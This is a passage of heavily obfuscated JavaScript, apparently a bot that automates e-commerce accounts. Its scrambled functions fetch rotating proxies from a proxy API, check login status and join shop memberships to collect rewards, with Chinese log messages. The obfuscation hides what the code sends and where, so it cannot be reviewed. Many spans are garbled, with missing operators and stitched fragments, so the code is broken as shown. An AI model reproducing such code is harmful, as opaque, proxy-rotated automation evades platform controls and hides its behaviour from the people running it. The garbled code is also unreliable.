0x0,0x1d7)],L9nQB4r=be2Bx5(0xd1))&&Qknz4M1.SBnLtwZ>-0x4b){console[FUxHt8(jRDvSi(0x157))](FUxHt8(0x20e));return}if(cxe4nWS?.[FUxHt8(jRDvSi(0x87))]){const N_Y9bri=cxe4nWS[FUxHt8(0x1fe)];rReTqO=new _ur_8HD({[FUxHt8(0x1cd)]:[{[FUxHt8(0x1ce)]:jRDvSi(0x174),[FUxHt8(0x1cf)]:FUxHt8(0x20f),[FUxHt8(be2Bx5(0x119))]:FUxHt8(0x1d2)},{[FUxHt8(jRDvSi(0x167))]:'值',[FUxHt8(be2Bx5(0x46))]:FUxHt8[wePIns(0x2ad)](be2Bx5(0x64),[0x210]),[FUxHt8(jRDvSi(0x159))]:FUxHt8(0x1d2),[FUxHt8(0x211)]:0x50}]});for(let OmVFw6R in N_Y9bri){let M9UH60W=N_Y9bri[OmVFw6R];if(typeof M9UH60W!==FUxHt8[wePIns(be2Bx5(0x73))](void 0x0,[0x212])){M9UH60W=JSON[FUxHt8(0x213)](M9UH60W)}rReTqO[FUxHt8(0x1d5)]({[FUxHt8(0x20f)]:OmVFw6R,[FUxHt8(jRDvSi(0x175))]:M9UH60W})}rK45quy(console[FUxHt8(be2Bx5(0x117))](FUxHt8[wePIns(be2Bx5(0x89))](be2Bx5(0x64),0x214)),rReTqO[FUxHt8(jRDvSi(0x162))]())}if(cxe4nWS?.[FUxHt8(jRDvSi(0x176))]&&Qknz4M1.SBnLtwZ>-be2Bx5(0x137)){let N_Y9bri=cxe4nWS[FUxHt8[wePIns(0x2ac)](be2Bx5(0x64),0x205)];if(typeof N_Y9bri===FUxHt8(0x215)){N_Y9bri=JSON[FUxHt8(be2Bx5(0x138))](N_Y9bri)}else{if(typeof N_Y9bri===FUxHt8(0x217)){try{const fYCH9k=JSON[FUxHt8(0x218)](N_Y9bri);N_Y9bri=JSON[FUxHt8(be2Bx5(0x139))](fYCH9k)}catch{N_Y9bri=JSON[FUxHt8[wePIns(0x2ac)](be2Bx5(0x64),0x21a)](N_Y9bri)[FUxHt8[wePIns(0x2ac)](void 0x0,0x21b)](be2Bx5(0x68),gkVk0iy(0x1,L9nQB4r=-jRDvSi(0x111)))}}}console[FUxHt8(0x1cb)](`\n✧ 响应 Body\n${N_Y9bri}`)}}catch(error){console[FUxHt8[wePIns(jRDvSi(0xb3))](void 0x0,[jRDvSi(0x157)])](`❌ 处理 REQUEST DEBUG PRINT 时遇到了错误 ➜ ${error[FUxHt8(0x21c)]||error}`)}console[FUxHt8(jRDvSi(0x157))](FUxHt8(jRDvSi(0x17a)))}async[FUxHt8(0x21e)](cxe4nWS){let rApiUiv='';try{const ORi6Xa_=/\b(?:\d{1,3}\.){3}\d{1,3}:\d{1,5}\b/g,_ur_8HD={[FUxHt8(0x21f)]:cxe4nWS,[FUxHt8[wePIns(0x2ac)](void 0x0,0x220)]:FUxHt8(jRDvSi(0x17b)),[FUxHt8[wePIns(0x2ad)](void 0x0,[jRDvSi(0x17c)])]:null,[FUxHt8(0x222)]:0x7530};let be2Bx5=jRDvSi(0x9b),rReTqO=jRDvSi(0xb9);const MocfTe=0x1;while(be2Bx5jRDvSi(0x9b)){SauZPG=SauZPG[0x0];if(SauZPG?.[jRDvSi(0x17f)]&&SauZPG?.[FUxHt8(jRDvSi(0x17e))]&&Qknz4M1.gibYBw()){rApiUiv=`${SauZPG[jRDvSi(0x17f)]}:${SauZPG[FUxHt8(jRDvSi(0x17e))]}`}else{if(SauZPG?.[jRDvSi(0x181)]&&SauZPG?.[FUxHt8(jRDvSi(0x180))]&&Qknz4M1.hmEUpuU>-jRDvSi(0xad)){rApiUiv=`${SauZPG[jRDvSi(0x181)]}:${SauZPG[FUxHt8(0x22b)]}`}}}else{if(SauZPG?.[FUxHt8(jRDvSi(0x182))]&&Array[FUxHt8(jRDvSi(0x183))](SauZPG[FUxHt8[wePIns(0x2ac)](void 0x0,0x22c)])&&SauZPG[FUxHt8(0x22c)][FUxHt8[wePIns(jRDvSi(0xc9))](void 0x0,0x229)]>jRDvSi(0x9b)){const ksAIOZl=SauZPG[FUxHt8[wePIns(0x2ac)](jRDvSi(0xa4),0x22c)][0x0];rApiUiv=typeof ksAIOZl===FUxHt8(jRDvSi(0x184))&&ksAIOZl?.ip&&ksAIOZl?.[FUxHt8(jRDvSi(0x185))]?`${ksAIOZl[jRDvSi(0x17f)]}:${ksAIOZl[FUxHt8[wePIns(0x2ad)](void 0x0,[0x22d])]}`:ksAIOZl}}if(rApiUiv&&gkVk0iy(ORi6Xa_[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x22e])](rApiUiv),L9nQB4r=jRDvSi(0x111))){rApiUiv=''}}if(gkVk0iy(rApiUiv,L9nQB4r=jRDvSi(0x111))){rReTqO=`接口响应数据异常:${JSON[FUxHt8(0x22f)](OmVFw6R)}`}}else{const M9UH60W=OmVFw6R[FUxHt8(jRDvSi(0x186))](ORi6Xa_);if(M9UH60W){rApiUiv=M9UH60W[0x0]}if(gkVk0iy(rApiUiv,QBdZEr(jRDvSi(0x111)))){rReTqO=`接口响应数据异常:${OmVFw6R}`}}if(rApiUiv){return rApiUiv}be2Bx5++}if(be2Bx5>=MocfTe){console[FUxHt8(0x231)](`⚠ 提取代理地址失败 ➜ ${rReTqO}`)}}catch(error){console[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x232])](`❌ 在处理请求代理API获取代理地址时遇到了错误\n${error}`)}return rApiUiv}[FUxHt8(jRDvSi(0x187))](cxe4nWS=''){try{if(gkVk0iy(cxe4nWS,QBdZEr(jRDvSi(0x111)))){return null}if(gkVk0iy(cxe4nWS[FUxHt8(0x234)](FUxHt8(0x235)),QBdZEr(0x13))&&Qknz4M1.vBSBmcR>-0x30){cxe4nWS=gkVk0iy(FUxHt8(jRDvSi(0x188)),cxe4nWS,QBdZEr(-0x24))}const ORi6Xa_=this[FUxHt8(jRDvSi(0x115))](cxe4nWS);if(ORi6Xa_?.[FUxHt8(0x237)]){var _ur_8HD=(cxe4nWS,ORi6Xa_,be2Bx5,rK45quy,rApiUiv)=>{if(typeof rK45quy===wePIns(0x298)){rK45quy=rReTqO}if(typeof rApiUiv===wePIns(jRDvSi(0x9a))){rApiUiv=d_VGdWb}if(be2Bx5==cxe4nWS){return ORi6Xa_[d_VGdWb[be2Bx5]]=_ur_8HD(cxe4nWS,ORi6Xa_)}if(ORi6Xa_){[rApiUiv,ORi6Xa_]=[rK45quy(rApiUiv),cxe4nWS||be2Bx5];return _ur_8HD(cxe4nWS,rApiUiv,be2Bx5)}if(cxe4nWS!==ORi6Xa_){return rApiUiv[cxe4nWS]||(rApiUiv[cxe4nWS]=rK45quy(IOmkxPs[cxe4nWS]))}if(be2Bx5&&rK45quy!==rReTqO){_ur_8HD=rReTqO;return _ur_8HD(cxe4nWS,-jRDvSi(0xa8),be2Bx5,rK45quy,rApiUiv)}if(be2Bx5==rK45quy){return ORi6Xa_?cxe4nWS[rApiUiv[ORi6Xa_]]:d_VGdWb[cxe4nWS]||(be2Bx5=rApiUiv[cxe4nWS]||rK45quy,d_VGdWb[cxe4nWS]=be2Bx5(IOmkxPs[cxe4nWS]))}};const be2Bx5={[FUxHt8(0x238)]:ORi6Xa_[FUxHt8(0x238)][FUxHt8(0x239)](':','')===FUxHt8(jRDvSi(0x189))?FUxHt8(0x23a):FUxHt8(0x23b),[FUxHt8(0x23c)]:ORi6Xa_[FUxHt8(jRDvSi(0x91))],[FUxHt8(0x23d)]:parseInt(ORi6Xa_?.[FUxHt8(0x23d)]||_ur_8HD(0x23e))};if(ORi6Xa_?.[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x23f])]||ORi6Xa_?.[FUxHt8(0x240)]){be2Bx5[FUxHt8(0x241)]={[FUxHt8[wePIns(0x2ac)](jRDvSi(0xa4),jRDvSi(0x94))]:ORi6Xa_?.[FUxHt8(jRDvSi(0x94))]||'',[FUxHt8(0x240)]:ORi6Xa_?.[FUxHt8(0x240)]||''}}return be2Bx5;function rReTqO(cxe4nWS,ORi6Xa_='xPZDhdsoUNCVraBenpWIw(y8l;Q@6"T,=5Kmu0A[1)`%f!S&*zF|b2kv_7i.c/{j~$9R#:+g>34O]^0x1cc?cxe4nWS-0x4c:cxe4nWS<0x34?cxe4nWS-0x4c:cxe4nWS-0x35]}rK45quy(N_Y9bri+=SauZPG*0x5b,FUxHt8|=N_Y9bri<ksAIOZl(0x99)?0xd:ksAIOZl(0xc5));do{rK45quy(rReTqO.push(FUxHt8&0xff),FUxHt8>>=0x8,MocfTe-=ksAIOZl(0x9a))}while(MocfTe>0x7);N_Y9bri=-jRDvSi(0xa8)}}if(N_Y9bri>-0x1){rReTqO.push((FUxHt8|N_Y9bri<{if(typeof rK45quy===wePIns(0x298)){rK45quy=be2Bx5}if(typeof FUxHt8===wePIns(jRDvSi(0x9a))){FUxHt8=d_VGdWb}if(rApiUiv){[FUxHt8,rApiUiv]=[rK45quy(FUxHt8),cxe4nWS||ORi6Xa_];return _ur_8HD(cxe4nWS,FUxHt8,ORi6Xa_)}if(rK45quy===void 0x0){_ur_8HD=FUxHt8}if(cxe4nWS!==rApiUiv){return FUxHt8[cxe4nWS]||(FUxHt8[cxe4nWS]=rK45quy(IOmkxPs[cxe4nWS]))}if(rK45quy===_ur_8HD){be2Bx5=rApiUiv;return be2Bx5(ORi6Xa_)}};ORi6Xa_=`${rApiUiv[FUxHt8(0x244)]?.[FUxHt8(0x245)]||''}:${rApiUiv[FUxHt8(0x244)]?.[_ur_8HD(jRDvSi(0x18a))]||''}@`;function be2Bx5(cxe4nWS,rApiUiv='y0[$19SP*2>lQ#Lx8wFrG.vDH{^n<3uCE`7ZWdU5/h!%o_XBa:e~k+]I@M|,6jt)g?K=s(T}&NibYfJRVzc4mAO";pq',ORi6Xa_,_ur_8HD,be2Bx5=[],FUxHt8,rReTqO,MocfTe,N_Y9bri=0x0,OmVFw6R){rK45quy(ORi6Xa_=''+(cxe4nWS||''),_ur_8HD=ORi6Xa_.length,FUxHt8=jRDvSi(0x9b),rReTqO=jRDvSi(0x9b),MocfTe=-0x1);for(N_Y9bri=N_Y9bri;N_Y9bri<_ur_8HD;N_Y9bri++){OmVFw6R=rApiUiv.indexOf(ORi6Xa_[N_Y9bri]);if(OmVFw6R===-jRDvSi(0xa8)){continue}if(MocfTejRDvSi(0xaa)?jRDvSi(0xe6):jRDvSi(0xd6));do{rK45quy(be2Bx5.push(FUxHt8&0xff),FUxHt8>>=jRDvSi(0xab),rReTqO-=jRDvSi(0xab))}while(rReTqO>0x7);MocfTe=-jRDvSi(0xa8)}}if(MocfTe>-jRDvSi(0xa8)){be2Bx5.push((FUxHt8|MocfTe<{if(typeof FUxHt8===wePIns(0x298)){FUxHt8=_ur_8HD}if(typeof be2Bx5===wePIns(0x298)){be2Bx5=d_VGdWb}if(cxe4nWS!==ORi6Xa_){return be2Bx5[cxe4nWS]||(be2Bx5[cxe4nWS]=FUxHt8(IOmkxPs[cxe4nWS]))}if(FUxHt8===rApiUiv){_ur_8HD=ORi6Xa_;return _ur_8HD(rK45quy)}if(rK45quy==cxe4nWS){return ORi6Xa_[d_VGdWb[rK45quy]]=rApiUiv(cxe4nWS,ORi6Xa_)}if(FUxHt8===void 0x0){rApiUiv=be2Bx5}};if(gkVk0iy(this[FUxHt8(0x24c)],L9nQB4r=0x13)){return null}if(gkVk0iy(cxe4nWS,QBdZEr(jRDvSi(0x111)))){return null}let ORi6Xa_=`${cxe4nWS?.[FUxHt8(jRDvSi(0x18c))]||FUxHt8(0x24e)}://`;if(cxe4nWS?.[FUxHt8(jRDvSi(0x18d))]){ORi6Xa_+=`${cxe4nWS[FUxHt8(jRDvSi(0x18d))]?.[FUxHt8(0x250)]||''}:${cxe4nWS[FUxHt8(jRDvSi(0x18d))]?.[FUxHt8(0x251)]||''}@`}ORi6Xa_+=`${cxe4nWS?.[FUxHt8(0x252)]}:${cxe4nWS?.[FUxHt8(0x253)]||rApiUiv[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x254])}`;return new this[(FUxHt8(jRDvSi(0x18e)))](ORi6Xa_);function _ur_8HD(cxe4nWS,rApiUiv='*NPdXgYnbc0T:jloyF31R6$W8+uvZ,L&_5IkEqe"[UDCmBM7{axfsrVOA}J(tw>~S4%.Q]0x58?0xd:jRDvSi(0xd6));do{rK45quy(FUxHt8.push(be2Bx5&0xff),be2Bx5>>=0x8,rReTqO-=jRDvSi(0xab))}while(rReTqO>jRDvSi(0x9e));MocfTe=-0x1}}if(MocfTe>-jRDvSi(0xa8)){FUxHt8.push((be2Bx5|MocfTe<0x0&&gkVk0iy(_ur_8HD,QBdZEr(0x13)))rApiUiv--,be2Bx5++,rReTqO++,await MocfTe(rReTqO);if(_ur_8HD){await new Promise(cxe4nWS=>{const rApiUiv=setInterval(()=>{if(be2Bx5===jRDvSi(0x9b)){rK45quy(clearInterval(rApiUiv),cxe4nWS())}},0x64)})}}const OmVFw6R=Math[FUxHt8(0x262)](rApiUiv,cxe4nWS),SauZPG=[];for(let ksAIOZl=jRDvSi(0x9b);ksAIOZl{const rApiUiv=setInterval(()=>{if(be2Bx5===0x0||_ur_8HD){rK45quy(clearInterval(rApiUiv),cxe4nWS())}},jRDvSi(0x195))}))}[FUxHt8(jRDvSi(0x196))](rK45quy){this[FUxHt8[wePIns(0x2ad)](undefined,[0x266])]=rK45quy}[FUxHt8(jRDvSi(0x197))](){rK45quy(this[FUxHt8(0x268)]='',this[FUxHt8(0x269)]='')}[FUxHt8(0x26a)](){return this[FUxHt8(0x26b)]}[FUxHt8(0x26c)](){return this[FUxHt8(0x26d)][FUxHt8(0x26e)]||''}[FUxHt8(0x26f)](){return this[FUxHt8(0x270)][FUxHt8(0x271)]||''}[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[jRDvSi(0x198)])](){return this[FUxHt8(jRDvSi(0x199))][FUxHt8(jRDvSi(0x19a))]||''}[FUxHt8(0x275)](){return this[FUxHt8(0x276)][FUxHt8(0x277)]||''}[FUxHt8(0x278)](rK45quy,cxe4nWS=[FUxHt8(0x279),FUxHt8(0x27a),FUxHt8(0x27b),FUxHt8(jRDvSi(0x19b)),FUxHt8(0x27d),FUxHt8(0x27e),FUxHt8(0x27f),FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[jRDvSi(0x19c)]),FUxHt8(0x281),FUxHt8[wePIns(0x2ad)](void 0x0,[jRDvSi(0x19d)]),FUxHt8(jRDvSi(0x19e)),FUxHt8(0x284),FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[0x285]),FUxHt8(jRDvSi(0x19f)),FUxHt8[wePIns(0x2ad)](void 0x0,[0x287]),FUxHt8[wePIns(jRDvSi(0xc9))](void 0x0,jRDvSi(0x1a0))],rApiUiv=''){if(gkVk0iy(rK45quy,L9nQB4r=jRDvSi(0x111))){return rApiUiv}for(let ORi6Xa_ of cxe4nWS)if(rK45quy[FUxHt8(0x289)](ORi6Xa_)&&Qknz4M1.V603UF()){return rK45quy[ORi6Xa_]}return rApiUiv}[FUxHt8(0x28a)](cxe4nWS='',rApiUiv={}){try{if(gkVk0iy(cxe4nWS,QBdZEr(0x13))){return''}cxe4nWS=String(cxe4nWS);const {[FUxHt8(0x28b)]:ORi6Xa_='*',[FUxHt8(0x28c)]:_ur_8HD=0x2,[FUxHt8(0x28d)]:be2Bx5=jRDvSi(0xa3),[FUxHt8(0x28e)]:rReTqO,[FUxHt8(0x28f)]:MocfTe=' ',[FUxHt8(0x290)]:N_Y9bri=jRDvSi(0xb7),[FUxHt8(0x291)]:OmVFw6R=jRDvSi(0x13c)}=rApiUiv,SauZPG=cxe4nWS[FUxHt8(jRDvSi(0x1a2))];let ksAIOZl;if(SauZPG<=jRDvSi(0xa8)){ksAIOZl=cxe4nWS}else{if(SauZPG<=_ur_8HD){ksAIOZl=gkVk0iy(cxe4nWS[FUxHt8(0x293)](0x0,jRDvSi(0xa8)),ORi6Xa_[FUxHt8[wePIns(jRDvSi(0xb3))](void 0x0,[0x294])](SauZPG-0x1),QBdZEr(-0x24))}else{if(SauZPG<=_ur_8HD+be2Bx5){ksAIOZl=gkVk0iy(cxe4nWS[FUxHt8(0x295)](jRDvSi(0x9b),_ur_8HD),ORi6Xa_[FUxHt8(0x296)](SauZPG-_ur_8HD),L9nQB4r=-0x24)}else{const M9UH60W=cxe4nWS[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x297])](0x0,_ur_8HD),uo1eqeV=be2Bx5>jRDvSi(0x9b)?cxe4nWS[FUxHt8(0x297)](gkVk0iy(be2Bx5,QBdZEr(-jRDvSi(0x111)))):'';ksAIOZl=gkVk0iy(M9UH60W+ORi6Xa_[FUxHt8(jRDvSi(0x9a))](SauZPG-_ur_8HD-be2Bx5),uo1eqeV,L9nQB4r=-jRDvSi(0xc6))}}}if(rReTqO!==jRDvSi(0xa4)){const Qknz4M1=OmVFw6R?[...ksAIOZl][FUxHt8(jRDvSi(0x1a1))]((cxe4nWS,rApiUiv)=>gkVk0iy(cxe4nWS,rApiUiv[FUxHt8(0x29a)](/[^\x00-\xff]/)?0x2:0x1,L9nQB4r=-jRDvSi(0xc6)),0x0):ksAIOZl[FUxHt8(0x292)];if(Qknz4M1rReTqO){const d_VGdWb=ORi6Xa_[FUxHt8(0x29c)](/[.*+?^${}()|[\]\\]/g,FUxHt8(0x29d)),IOmkxPs=(ksAIOZl[FUxHt8(0x29e)](new RegExp(d_VGdWb,'g'))||[])[FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[jRDvSi(0x1a2)])];if(IOmkxPs>=jRDvSi(0xa3)){const jQeGCp3=gkVk0iy(Qknz4M1,rReTqO,L9nQB4r=0x10);let eKhH04=ksAIOZl[FUxHt8(0x29f)](''),uKftHLs=jRDvSi(0x9b);for(let qIjQiBi=gkVk0iy(eKhH04[FUxHt8[wePIns(0x2ad)](undefined,[jRDvSi(0x1a2)])],0x1,L9nQB4r=0x10);qIjQiBi>=0x0&&uKftHLs{if(typeof _ur_8HD===wePIns(jRDvSi(0x9a))){_ur_8HD=N_Y9bri}if(typeof be2Bx5===wePIns(0x298)){be2Bx5=d_VGdWb}if(cxe4nWS!==rApiUiv){return be2Bx5[cxe4nWS]||(be2Bx5[cxe4nWS]=_ur_8HD(IOmkxPs[cxe4nWS]))}if(ORi6Xa_==_ur_8HD){return rApiUiv?cxe4nWS[be2Bx5[rApiUiv]]:d_VGdWb[cxe4nWS]||(ORi6Xa_=be2Bx5[cxe4nWS]||_ur_8HD,d_VGdWb[cxe4nWS]=ORi6Xa_(IOmkxPs[cxe4nWS]))}if(ORi6Xa_==cxe4nWS){return rApiUiv[d_VGdWb[ORi6Xa_]]=MocfTe(cxe4nWS,rApiUiv)}if(ORi6Xa_&&_ur_8HD!==N_Y9bri){MocfTe=N_Y9bri;return MocfTe(cxe4nWS,-0x1,ORi6Xa_,_ur_8HD,be2Bx5)}if(_ur_8HD===MocfTe){N_Y9bri=rApiUiv;return N_Y9bri(ORi6Xa_)}if(_ur_8HD===void 0x0){MocfTe=be2Bx5}};rK45quy(_ur_8HD=MocfTe(0x319),ORi6Xa_++);continue;function N_Y9bri(cxe4nWS,rApiUiv='IKgF*Wi8RNCa1Js6TLG5Zbm?jr9QkH{M,hc:vo7+u23}OP;y|qS=Ulpxt.0w^#`[/@)%4X',ORi6Xa_,_ur_8HD,be2Bx5=[],rReTqO=0x0,MocfTe,N_Y9bri,OmVFw6R,FUxHt8){rK45quy(ORi6Xa_=''+(cxe4nWS||''),_ur_8HD=ORi6Xa_.length,MocfTe=jRDvSi(0x9b),N_Y9bri=-jRDvSi(0xa8));for(OmVFw6R=jRDvSi(0x9b);OmVFw6R<_ur_8HD;OmVFw6R++){FUxHt8=rApiUiv.indexOf(ORi6Xa_[OmVFw6R]);if(FUxHt8===-jRDvSi(0xa8)){continue}if(N_Y9bri<0x0){N_Y9bri=FUxHt8}else{rK45quy(N_Y9bri+=FUxHt8*jRDvSi(0xa9),rReTqO|=N_Y9bri<0x58?jRDvSi(0xe6):jRDvSi(0xd6));do{rK45quy(be2Bx5.push(rReTqO&0xff),rReTqO>>=jRDvSi(0xab),MocfTe-=jRDvSi(0xab))}while(MocfTe>0x7);N_Y9bri=-0x1}}if(N_Y9bri>-0x1){be2Bx5.push((rReTqO|N_Y9bri<=be2Bx5){console[FUxHt8(0x31b)](_ur_8HD)}}catch(error){console[FUxHt8(0x31c)](`❌ getLoginStatus 在处理请求中遇到了错误\n${error}`)}return jRDvSi(0xa4)}async[FUxHt8(0x31d)](cxe4nWS,rApiUiv=this[FUxHt8(jRDvSi(0x1bb))],ORi6Xa_=''){if(gkVk0iy(rApiUiv,QBdZEr(0x13))){console[FUxHt8(0x31e)](FUxHt8(0x31f));return jRDvSi(0xa4)}if(gkVk0iy(cxe4nWS,L9nQB4r=jRDvSi(0x111))){return jRDvSi(0xa4)}try{var _ur_8HD=(cxe4nWS,rApiUiv,ORi6Xa_,be2Bx5,rReTqO)=>{if(typeof be2Bx5===wePIns(0x298)){be2Bx5=M9UH60W}if(typeof rReTqO===wePIns(jRDvSi(0x9a))){rReTqO=d_VGdWb}if(ORi6Xa_==cxe4nWS){return rApiUiv[d_VGdWb[ORi6Xa_]]=_ur_8HD(cxe4nWS,rApiUiv)}if(rApiUiv){[rReTqO,rApiUiv]=[be2Bx5(rReTqO),cxe4nWS||ORi6Xa_];return _ur_8HD(cxe4nWS,rReTqO,ORi6Xa_)}if(be2Bx5===_ur_8HD){M9UH60W=rApiUiv;return M9UH60W(ORi6Xa_)}if(cxe4nWS!==rApiUiv){return rReTqO[cxe4nWS]||(rReTqO[cxe4nWS]=be2Bx5(IOmkxPs[cxe4nWS]))}};this[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x320])](FUxHt8(0x321));if(gkVk0iy(this[FUxHt8(0x322)],QBdZEr(jRDvSi(0x111)))){return jRDvSi(0xa4)}cxe4nWS=''[FUxHt8(0x323)](cxe4nWS);const be2Bx5={[FUxHt8(0x324)]:cxe4nWS,[FUxHt8(0x325)]:0x1,[_ur_8HD(0x326)]:{},[_ur_8HD(0x327)]:jRDvSi(0x9b),[FUxHt8(0x328)]:0x196,[_ur_8HD(0x329)]:_ur_8HD(jRDvSi(0x1b3)),[FUxHt8[wePIns(0x2ad)](void 0x0,[0x32b])]:jRDvSi(0x13c),[FUxHt8(0x32c)]:_ur_8HD(jRDvSi(0x1b4))};if(gkVk0iy(ORi6Xa_,L9nQB4r=0x13)){if(this[FUxHt8[wePIns(0x2ac)](jRDvSi(0xa4),0x32e)][_ur_8HD(0x32f)](cxe4nWS)){ORi6Xa_=this[FUxHt8(0x32e)][FUxHt8(0x1b8)](cxe4nWS)}}if(ORi6Xa_){be2Bx5[FUxHt8(0x330)]=ORi6Xa_}const rReTqO={[FUxHt8(0x331)]:_ur_8HD[wePIns(0x2ad)](void 0x0,[jRDvSi(0x1b3)]),[_ur_8HD[wePIns(jRDvSi(0xc9))](jRDvSi(0xa4),0x329)]:_ur_8HD(jRDvSi(0x1b4)),[_ur_8HD(0x332)]:FUxHt8(0x333),[FUxHt8(0x334)]:_ur_8HD(0x335),[FUxHt8(0x336)]:'H5',[_ur_8HD[wePIns(0x2ac)](void 0x0,0x337)]:be2Bx5,[FUxHt8(0x338)]:FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[0x339]),t:jRDvSi(0x13c),ua:this[_ur_8HD(jRDvSi(0x1b5))]||this[_ur_8HD(0x33b)]},MocfTe=await this[FUxHt8(0x322)][_ur_8HD(0x33c)](rReTqO);if(gkVk0iy(MocfTe[_ur_8HD(jRDvSi(0x1b6))],QBdZEr(jRDvSi(0x111)))){return jRDvSi(0xa4)}const N_Y9bri={[FUxHt8[wePIns(jRDvSi(0xc9))](void 0x0,0x33e)]:_ur_8HD(0x33f),[_ur_8HD(0x340)]:FUxHt8[wePIns(0x2ac)](jRDvSi(0xa4),0x341),[FUxHt8(0x342)]:{[_ur_8HD(0x343)]:_ur_8HD[wePIns(0x2ad)](jRDvSi(0xa4),[0x344]),[FUxHt8(0x345)]:_ur_8HD(0x346),[FUxHt8(0x347)]:FUxHt8(0x348),[_ur_8HD(0x349)]:FUxHt8(0x34a),[FUxHt8[wePIns(0x2ac)](void 0x0,0x34b)]:FUxHt8(0x34c),[FUxHt8(0x34d)]:FUxHt8(0x34e),[FUxHt8(0x34f)]:_ur_8HD[wePIns(jRDvSi(0xc9))](jRDvSi(0xa4),0x350),[_ur_8HD(0x351)]:_ur_8HD(0x352),[_ur_8HD(0x353)]:this[_ur_8HD(jRDvSi(0x1b5))]||this[_ur_8HD(0x33b)],[FUxHt8(0x354)]:rApiUiv},[FUxHt8(jRDvSi(0x1b7))]:Object[FUxHt8(0x356)]({},MocfTe[_ur_8HD(jRDvSi(0x1b6))],{[FUxHt8(0x357)]:'',[FUxHt8(0x358)]:FUxHt8(0x359),[_ur_8HD(0x35a)]:FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x35b])}),[FUxHt8(0x35c)]:jRDvSi(0x1be)},OmVFw6R=await this[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[jRDvSi(0x90)])](N_Y9bri);if(gkVk0iy(OmVFw6R[FUxHt8(0x35d)],QBdZEr(0x13))){console[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x35e])](`🚫 joinShopMember 请求失败 ➜ ${OmVFw6R[FUxHt8(jRDvSi(0x19d))]}`);return void 0x0}if(gkVk0iy(OmVFw6R[FUxHt8(0x355)],QBdZEr(0x13))){console[FUxHt8(0x35f)](_ur_8HD(0x360));return void 0x0}const SauZPG=OmVFw6R[FUxHt8[wePIns(jRDvSi(0xb3))](void 0x0,[jRDvSi(0x1b7)])];if(SauZPG?.[FUxHt8(0x35d)]===jRDvSi(0x13c)){if(SauZPG?.[FUxHt8[wePIns(jRDvSi(0xb3))](void 0x0,[jRDvSi(0x1b8)])]&&SauZPG[FUxHt8(jRDvSi(0x1b8))]?.[_ur_8HD[wePIns(jRDvSi(0xc9))](jRDvSi(0xa4),jRDvSi(0x1b9))]){for(let ksAIOZl of SauZPG[FUxHt8(0x361)]?.[_ur_8HD(jRDvSi(0x1b9))]?.[FUxHt8(0x363)])console[_ur_8HD(0x364)](` >> 入会获得:${ksAIOZl[FUxHt8(0x365)]}${ksAIOZl[_ur_8HD(0x366)]}`)}if(SauZPG?.[FUxHt8(0x27a)]===_ur_8HD(0x367)){return jRDvSi(0x13c)}else{if(SauZPG?.[FUxHt8[wePIns(jRDvSi(0xb3))](void 0x0,[0x27a])]===FUxHt8(0x368)){console[_ur_8HD(0x369)](`🚫 加入店铺会员失败 ➜ ${SauZPG[FUxHt8[wePIns(0x2ad)](void 0x0,[0x27a])]}`)}else{console[FUxHt8[wePIns(jRDvSi(0xb3))](void 0x0,[0x36a])](`🚫 加入店铺会员失败 ➜ ${SauZPG?.[FUxHt8(jRDvSi(0x1ba))]}`);return jRDvSi(0xb7)}}}else{if(SauZPG?.[FUxHt8(jRDvSi(0x1ba))]){console[_ur_8HD(0x36b)](`🚫 加入店铺会员失败 ➜ ${SauZPG[FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[0x27a])]}`);return!0x1}else{console[FUxHt8[wePIns(0x2ac)](void 0x0,0x36c)](`🚫 加入店铺会员失败 ➜ ${JSON[FUxHt8[wePIns(0x2ac)](void 0x0,0x36d)](SauZPG)}`)}}function M9UH60W(cxe4nWS,rApiUiv='$KVORDsHSbEfaJGjWedqFPNonhr%`CI3gQB!x5ATlZ#L]k{w,(8[27"v>6~^jRDvSi(0xaa)?0xd:0xe);do{rK45quy(be2Bx5.push(rReTqO&jRDvSi(0xac)),rReTqO>>=0x8,MocfTe-=0x8)}while(MocfTe>jRDvSi(0x9e));N_Y9bri=-jRDvSi(0xa8)}}if(N_Y9bri>-0x1){be2Bx5.push((rReTqO|N_Y9bri<{if(typeof be2Bx5===wePIns(jRDvSi(0x9a))){be2Bx5=ksAIOZl}if(typeof rReTqO===wePIns(jRDvSi(0x9a))){rReTqO=d_VGdWb}if(cxe4nWS!==rApiUiv){return rReTqO[cxe4nWS]||(rReTqO[cxe4nWS]=be2Bx5(IOmkxPs[cxe4nWS]))}if(be2Bx5===ORi6Xa_){ksAIOZl=rApiUiv;return ksAIOZl(_ur_8HD)}};this[FUxHt8(0x372)](FUxHt8(0x373));if(gkVk0iy(this[FUxHt8(jRDvSi(0x1bd))],QBdZEr(jRDvSi(0x111)))){return void 0x0}cxe4nWS=''[FUxHt8(0x375)](cxe4nWS);const _ur_8HD={[FUxHt8(0x376)]:FUxHt8[wePIns(0x2ac)](void 